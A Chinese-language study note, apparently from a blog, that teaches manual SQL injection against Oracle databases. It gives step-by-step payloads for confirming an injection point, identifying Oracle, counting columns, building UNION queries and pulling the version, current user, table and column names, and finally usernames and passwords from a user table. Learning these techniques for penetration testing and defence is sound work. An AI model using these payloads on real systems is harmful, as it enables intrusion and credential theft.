某教程学习笔记(一):10、oracle数据库注入

简介: 某教程学习笔记(一):10、oracle数据库注入


一、Oracle数据库


一般大型企业都会用到,物流、旅游、航空、银行等等。。。


1、支持多用户、大事务量的处理


2、数据安全性和完整性的有效控制


3、支持分布式数据处理


4、移植性强


二、手动注入


1、判断是否存在


and 1=1 返回正常


and 1=2 返回错误

0a2653c851af460fa595bd959398a8f1.png


2、判断是否是Oracle数据库


and exists(select * from dual)


and exists(select * from user_tables)


返回正常说明是oracle


3、判断数列


order by 2 返回正常,说明有两列


4、联合查询


union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错


union select 1,null from dual 报错


union select null,1 from dual 报错


union select ‘null’,‘null’ from dual 返回如下界面,这时就可以用下面的查询语句了


5、获取数据库版本


(select banner from sys.v_$Version where rownum=1)

0a2653c851af460fa595bd959398a8f1.png


6、获取连接数据库的当前用户


(select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’)from dual)

0eacb84100b54626af849e6b562bf92a.png


7、获取数据库


(select instance_name from v$instance) 获取当前数据库

2d65d23f6d4748949b924e4057485923.png


(select owner from all_tables where rownum=1)获取第一个数据库

2e9b90b2ca334476abebe75bafe6eeaa.png


(select owner from all_tables where rownum=1 and owner<>‘SYS’)获取第二个数据库


8、获取表名


(select table_name from user_tables where rownum=1 and table_name like ‘%users%’) from dual

0a2653c851af460fa595bd959398a8f1.png


10、获取列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1)

0eacb84100b54626af849e6b562bf92a.png


11、获取第二列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name<>‘USER_NAME’)


12、获取字段内容


id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users”

2d65d23f6d4748949b924e4057485923.png

union select USER_NAME,USER_PWD from “sns_users” where USER_NAME<>‘hu’ 获取第二个用户信息


禁止非法,后果自负


目录
相关文章
|
13天前
|
SQL Oracle 安全
Oracle11g更改数据库名(详细教程)
Oracle11g更改数据库名(详细教程)
20 1
|
4天前
|
存储 自然语言处理 算法
向量数据库Chroma极简教程
本文重点围绕向量数据库Chroma的使用和实战,主要包括以下内容: * Chroma设计理念 * Chroma常见概念(数据集,文档,存储,查询,条件过滤) * Chroma快速上手 * Chroma支持的Embeddings算法 * 实战:在Langchain中使用Chroma对中国古典四大名著进行相似性查询
45 1
|
13天前
|
Java 数据库连接 程序员
【后台开发】TinyWebser学习笔记(2)线程池、数据库连接池
【后台开发】TinyWebser学习笔记(2)线程池、数据库连接池
27 4
|
13天前
|
安全 测试技术 数据库
达梦数据库Windows安装教程:从准备到完成
达梦数据库Windows安装教程:从准备到完成
|
13天前
|
Java 关系型数据库 MySQL
Servlet 教程 之 Servlet 数据库访问 2
本教程讲解如何在Servlet中实现数据库访问。首先确保了解JDBC并配置MySQL驱动(如mysql-connector-java-5.1.39-bin.jar),在Eclipse Web项目中需将驱动放入Tomcat的lib目录。创建名为`websites`的数据库表,插入测试数据。之后展示了一个Servlet示例,该示例连接到数据库,执行SQL查询以获取`websites`表中的`id`、`name`和`url`,并将结果输出到HTML响应中。要运行Servlet,需在web.xml中配置并访问指定URL。
14 4
|
13天前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结
|
13天前
|
Java 关系型数据库 MySQL
Java基础教程(20)-Java连接mysql数据库CURD
【4月更文挑战第19天】MySQL是流行的关系型数据库管理系统,支持SQL语法。在IDEA中加载jar包到项目类路径:右击项目,选择“Open Module Settings”,添加库文件。使用JDBC连接MySQL,首先下载JDBC驱动,然后通过`Class.forName()`加载驱动,`DriverManager.getConnection()`建立连接。执行CRUD操作,例如创建表、插入数据和查询,使用`Statement`或`PreparedStatement`,并确保正确关闭数据库资源。
|
Oracle 关系型数据库
|
SQL 关系型数据库 索引
|
Oracle 关系型数据库 索引

推荐镜像

更多